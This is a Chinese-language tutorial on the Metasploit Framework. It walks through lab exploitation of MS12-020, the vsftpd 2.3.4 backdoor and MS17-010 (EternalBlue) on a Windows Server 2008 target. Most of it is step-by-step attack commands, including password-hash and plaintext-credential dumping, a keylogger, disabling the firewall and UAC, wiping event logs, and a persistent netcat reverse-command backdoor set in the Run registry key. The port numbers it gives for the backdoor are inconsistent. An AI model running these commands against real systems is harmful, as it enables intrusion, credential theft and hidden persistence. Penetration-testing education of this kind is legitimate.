一款開源的安全漏洞檢測(cè)工具,簡(jiǎn)稱MSF??梢允占畔?、探測(cè)系統(tǒng)漏洞、執(zhí)行漏洞利用測(cè)試等,為滲透測(cè)試、攻擊編碼和漏洞研究提供了一個(gè)可靠平臺(tái)。
集成數(shù)千個(gè)漏洞利用、輔助測(cè)試模塊,并保持持續(xù)更新。
由著名黑客、安全專家H.D. Moore主導(dǎo)開發(fā)
SecTools.Org Top Network Security Tools 排行榜排名第二位
官方網(wǎng)站: Metasploit | Penetration Testing Software, Pen Testing Security | Metasploit 。
在kali中,通過msfconsole進(jìn)入控制臺(tái)。
一、MSF漏洞框架常用模塊
1)模塊
指的是MSF框架中所使用的一段軟件代碼組件,默認(rèn)有2000多個(gè)漏洞利用模塊、1000多個(gè)輔助模塊,以及好幾百個(gè)后滲透模塊。
2)Auxiliary 輔助
只負(fù)責(zé)執(zhí)行掃描、嗅探、指紋識(shí)別、爆破等相關(guān)功能以輔助攻擊,不直接在測(cè)試機(jī)和目標(biāo)主機(jī)之間建立訪問。
3)Exploit 漏洞利用
利用目標(biāo)系統(tǒng)的安全漏洞發(fā)起實(shí)際的滲透攻擊行為,包括用于破壞系統(tǒng)安全的攻擊代碼,每個(gè)漏洞都有相應(yīng)的攻擊代碼。
4)Post 后滲透
在取得目標(biāo)的遠(yuǎn)程控制權(quán)(“得手”)以后,可以進(jìn)一步實(shí)施的攻擊動(dòng)作,如部署后門木馬、獲取敏感信息、實(shí)施跳板攻擊等
5)Payloads 載荷
期望目標(biāo)系統(tǒng)在被攻破以后執(zhí)行的代碼,方便攻擊者實(shí)施控制;默認(rèn)采用reverse_tcp反彈式載荷 ,表示從目標(biāo)主機(jī)連接攻擊者主機(jī),提供命令行通道;另有bind shell載荷,則會(huì)在目標(biāo)主機(jī)監(jiān)聽某個(gè)端口,攻擊者連接此端口即獲取控制權(quán)。
6)Evasion 免殺
在滲透測(cè)試中實(shí)現(xiàn)免殺,以防止被殺毒軟件、防火墻、IDS及類似的安全軟件檢測(cè)出來
7)Encoders 編碼器
包含各種編碼工具,可以對(duì)payload進(jìn)行編碼加密,以便繞過入侵檢測(cè)和過濾系統(tǒng)。
8)NOPS 空指令
不做任何操作,占位,可生成過防火墻的各種腳本文件。
二、MSF常見的使用及工作區(qū)配置
第一步:初始化數(shù)據(jù)庫
[root] msfdb init //初始化數(shù)據(jù)庫
[root] systemctl enable postgresql //開機(jī)自啟動(dòng)數(shù)據(jù)庫
[root] systemctl status postgresql //查看數(shù)據(jù)庫狀態(tài)
[root] msfconsole //進(jìn)入msf控制臺(tái)
- 2099 exploits //利用腳本(攻擊腳本)
- 1129 auxiliary //輔助腳本(掃描腳本-信息收集)
- 357 post //后滲透
- 592 payloads //載荷
第二步:創(chuàng)建/刪除/切換工作區(qū)/檢索信息
1)管理工作區(qū)
msf6 > workspace //查看默認(rèn)工作區(qū)
msf6 > workspace -a xiaolin? ?//創(chuàng)建工作區(qū)xiaolin
msf6 > workspace default? ? ? //切換到default工作區(qū)
msf6 > workspace -d xiaolin? ?//刪除工作區(qū)xiaolin
2)掃描數(shù)據(jù)
msf6 > db_nmap -A -v 192.168.100.101?//掃描目標(biāo)
3)查看掃描結(jié)果:
msf6 > workspace -v? ? ? ?//顯示工作區(qū)詳細(xì)信息
msf6 > hosts? ? ? ? ? ? ? ? ? ?//查看掃描的主機(jī)
msf6 > services -p 80? ? ?//過濾端口
msf6 > services -S http? //過濾應(yīng)用程序
msf6 > services? ? ? ? ? ? ? //查看所有服務(wù)
msf6 > notes? ? ? ? ? ? ? ? ? //查看記錄
舉例:
msf6 > workspace -v
Workspaces
==========
當(dāng)前 名字 主機(jī) 服務(wù) 記錄
current name hosts services vulns creds loots notes
------- ---- ----- -------- ----- ----- ----- -----
* default 1 23 0 0 0 28
msf6 > services -p 80
Services
========
主機(jī) 端口 協(xié)議 名字 狀態(tài) 消息
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
msf6 > services -S http
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.10.143 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2
192.168.10.143 8180 tcp http open Apache Tomcat/Coyote JSP engine 1.1
第三、msfconsole基礎(chǔ)命令
? //獲取幫助
exit? ? //退出MSF控制臺(tái)
show? ? //查看模塊或相關(guān)信息
search? ? //搜索模塊
use? ? ? //使用模塊
options? ? ?//列出當(dāng)前模塊的選項(xiàng)
set? ? ? //設(shè)置模塊選項(xiàng)
run? ? ?//運(yùn)行當(dāng)前模塊
back? ?//返回
msfconsole 常見操作
show exploits? ? ?//列出所有漏洞利用腳本
show auxiliary? ? ? //列出所有的輔助腳本
search http? ? ? ? ? ?//搜索和http 關(guān)鍵詞相關(guān)的腳本
search smb? ? ? ? //搜索和smb 關(guān)鍵詞相關(guān)的腳本
search EternalBlue //搜索與“永恒之藍(lán)”有關(guān)的模塊
search EternalBlue type:exploit //過濾出其中的攻擊模塊
use 0? ? ? ? ? ? ? ? ? ? ? ? //使用編號(hào)為0的腳本
options? ? ? ? ? ? ? ? ? ? //查看當(dāng)前模塊可用的選項(xiàng)
set rhosts 192.168.100.100? ?//設(shè)置遠(yuǎn)程主機(jī)地址
run? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? //運(yùn)行腳本
三、漏洞的利用案例
案例一:MS12-020 遠(yuǎn)程桌面漏洞-藍(lán)屏
環(huán)境準(zhǔn)備: kali一臺(tái)(攻擊)? ?winserver2008(攻擊對(duì)象)
kali進(jìn)入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search ms12-020
msf6 > search ms12-020
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS
1 auxiliary/scanner/rdp/ms12_020_check normal Yes MS12-020 Microsoft Remote Desktop Checker
備注:兩個(gè)輔助腳本,但是這兩個(gè)腳本作用不一樣
一個(gè)是ID為0 有一個(gè)關(guān)鍵詞 DOS ,這個(gè)是發(fā)起攻擊的腳本
一個(gè)是ID為1 有一個(gè)關(guān)鍵詞 scanner ,這個(gè)是掃描的腳本
2) 使用漏洞模塊
msf6 > use 1
3) 設(shè)置攻擊目標(biāo)主機(jī)
msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts? ? ?win2008的IP地址
4)執(zhí)行攻擊
msf6 auxiliary(scanner/rdp/ms12_020_check) > run
5) 檢查winserver2008是否藍(lán)屏
?案例二:vsftpd 2.3.4 后門漏洞利用CVE-2011-2523
環(huán)境準(zhǔn)備: kali一臺(tái)(攻擊)? ?靶機(jī)msfadmin-主機(jī)(攻擊對(duì)象)
kali進(jìn)入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search? vsftpd
2) 使用漏洞模塊
msf6 > use 0
3) 設(shè)置攻擊目標(biāo)主機(jī)
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts? ? 靶機(jī)的IP地址
4)執(zhí)行攻擊
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
5)空白地方輸入linux命令看是否可以
? ? pwd? ? ls? ? ifconfig? 等等命令,如果可以,證明攻擊成功
案例三:MS17-010永恒之藍(lán)漏洞利用
環(huán)境準(zhǔn)備: kali一臺(tái)(攻擊)? ? winserver2008(攻擊對(duì)象)
kali進(jìn)入到 MSF框架模式: msfconsole
1)查找漏洞
msf6 > search? ?ms17-010
2) 使用漏洞模塊
msf6 > use 0
3) 設(shè)置攻擊目標(biāo)主機(jī)
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts? ??靶機(jī)的IP地址
4)執(zhí)行攻擊
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
攻擊成功命令行變成:
meterpreter >
1、獲取windows 服務(wù)器的密文密碼
meterpreter > hashdump?
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
2、通過kiwi模塊獲取明文密碼
meterpreter >? load kiwi? ? //加載kiwi
meterpreter > creds_all? ?//檢測(cè)所有憑證,該命令可以列舉系統(tǒng)中的明文密碼
3、屏幕截圖和屏幕錄制
meterpreter > screenshot //屏幕截圖
meterpreter > screenshare //屏幕共享,按快捷鍵Ctrl + C停止
4、meterpreter環(huán)境中,操作遠(yuǎn)程資源
meterpreter > pwd //查看遠(yuǎn)程目錄位置
meterpreter > lpwd //查看在kali本機(jī)的目錄
meterpreter > shell //進(jìn)入目標(biāo)主機(jī)的命令行
5、進(jìn)程遷移
meterpreter >???ps? ?//查看進(jìn)程列表
meterpreter > ps -S explorer //查找explorer進(jìn)程(用戶權(quán)限大、不易被結(jié)束)
Filtering on 'explorer'
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2424 2562 explorer.exe x64 1 WIN-53H85RJ4I2T\Administrator C:\Windows\Explorer.EXE
meterpreter > migrate 2424? ?//進(jìn)程遷移,將 SYSTEM 權(quán)限 遷移為 Administrator
meterpreter > getuid? ? ? ? ? ? //確認(rèn)遷移后的用戶識(shí)別碼
備注:進(jìn)程遷移,只能同級(jí)別遷移或者高權(quán)限用戶往低權(quán)限遷移,低權(quán)限無法往高權(quán)限遷
6、執(zhí)行鍵盤操作記錄
利用后滲透腳本開啟鍵盤記錄
meterpreter > run? ? ?post/windows/capture/keylog_recorder? ?//開啟鍵盤記錄后滲透腳本
在 winserver2008 打開記事本,輸入任意內(nèi)容
在 kali 檢查是否成功記錄
打開新的終端,執(zhí)行命令檢查文件
[root]# cat? ? ??/root/.msf4/loot/2023042774349_default_192.168.100.100···········?
7、 防火墻配置
meterpreter > shell
C:\Windows\system32> chcp 65001 //解決中文亂碼
1)關(guān)閉防火墻
C:\Windows\system32> netsh advfirewall set allprofiles state off
2) 開啟防火墻
C:\Windows\system32>netsh advfirewall set allprofiles state on
3)添加防火墻入站規(guī)則,放行444端口
C:\Windows\system32> netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
高級(jí)防火墻 防火墻 添加 規(guī)則 名字 入站 動(dòng)作 允許 協(xié)議 本地端口
netsh advfirewall firewall add rule name=xiaolin dir=in action=allow protocol=tcp localport=1234
8、 關(guān)閉UAC
UAC(User Account Control)用戶帳戶控制,windows操作系統(tǒng)中一種安全控制機(jī)制,可以防止未經(jīng)授權(quán)應(yīng)用程序的自動(dòng)安裝,阻止惡意程序
winserver2008?檢查 UAC 狀態(tài)
運(yùn)行中輸入 msconfig → 工具 → “更改UAC設(shè)置” → 啟動(dòng)
修改注冊(cè)表項(xiàng),關(guān)閉用戶賬戶控制
c:\windows\system>reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
ADD 添加一個(gè)注冊(cè)表項(xiàng) -v 創(chuàng)建鍵值
-t 鍵值類型 -d 鍵值的值 1開/0關(guān) -f 覆蓋現(xiàn)有注冊(cè)表項(xiàng)
9、在meterpreter 下清除日志
meterpreter > clearev //擦除windows 事件查看器
[*] Wiping 2345 records from Application... //擦除應(yīng)用日志
[*] Wiping 3564 records from System... //擦除系統(tǒng)日志
[*] Wiping 4521 records from Security... //擦除安全日志
10、持久性后門
NC:(netcat)被稱為網(wǎng)絡(luò)工具中的瑞士軍刀,體積小巧,但功能強(qiáng)大。可以在兩臺(tái)設(shè)備上面相互交互,即偵聽模式/傳輸模式
案例目標(biāo):防止目標(biāo)主機(jī)修補(bǔ)了漏洞后,無法通過系統(tǒng)漏洞侵入目標(biāo)主機(jī)。植入后門并設(shè)置開機(jī)自啟,黑客可以通過后門444口遠(yuǎn)程控制目標(biāo)主機(jī)
1、上傳后面程序nc.exe 到win-2008
meterpreter > upload /usr/share/windows-binaries/nc.exe? ?c:/windows/system32
查看上傳結(jié)果及權(quán)限
meterpreter > cd c:/windows/system32
meterpreter > ls nc.exe
2、配置注冊(cè)表開機(jī)自啟
在 meterpreter > 執(zhí)行命令,遠(yuǎn)程配置win-2008注冊(cè)表,實(shí)現(xiàn)nc.exe 能夠開機(jī)自啟
第一:添加鍵值nc?
**meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
備注:用注冊(cè)表配置win-2008系統(tǒng),nc.exe程序開機(jī)自啟動(dòng)
第二:查詢有沒有nc這個(gè)鍵值,確認(rèn)是否添加成功
meterpreter > reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
Values (3):
nc //新增的注冊(cè)表
第三:查詢 NC鍵值的詳細(xì)數(shù)值內(nèi)容
meterpreter > reg queryval -k HKLM\software\microsoft\windows\currentversion\run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Data: C:\windows\system32\nc.exe -Ldp 1234 -e cmd.exe
3、重啟win-2008,看nc是否開機(jī)自啟動(dòng)
驗(yàn)證:如果1234端口開啟代表nc啟動(dòng)成功
打開命令提示符:
C:\Users\Administrator> netstat -an | findstr "1234"? //或僅執(zhí)行 netstat -an,查找1234口
4、后門接入
在 kali 連接 winserver2008,在kali 中打開一個(gè)新的終端
[root] nc? 2008的IP地址??444
C:\Windows\system32> //成功進(jìn)入到目標(biāo)主機(jī)命令行
5、清楚痕跡
驗(yàn)證:在事件查看器里面看到的是administrator 的登錄信息,可以使用cmd命令清空日志
C:\Windows\system32> wevtutil el //列出日志名稱
C:\Windows\system32> wevtutil cl application //清除應(yīng)用程序日志
C:\Windows\system32> wevtutil cl security //清除安全日志文章來源:http://www.zghlxwxcb.cn/news/detail-430940.html
C:\Windows\system32> ?wevtutil cl system? //清除系統(tǒng)日志文章來源地址http://www.zghlxwxcb.cn/news/detail-430940.html
到了這里,關(guān)于Metasploit Framework-安全漏洞檢測(cè)工具使用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!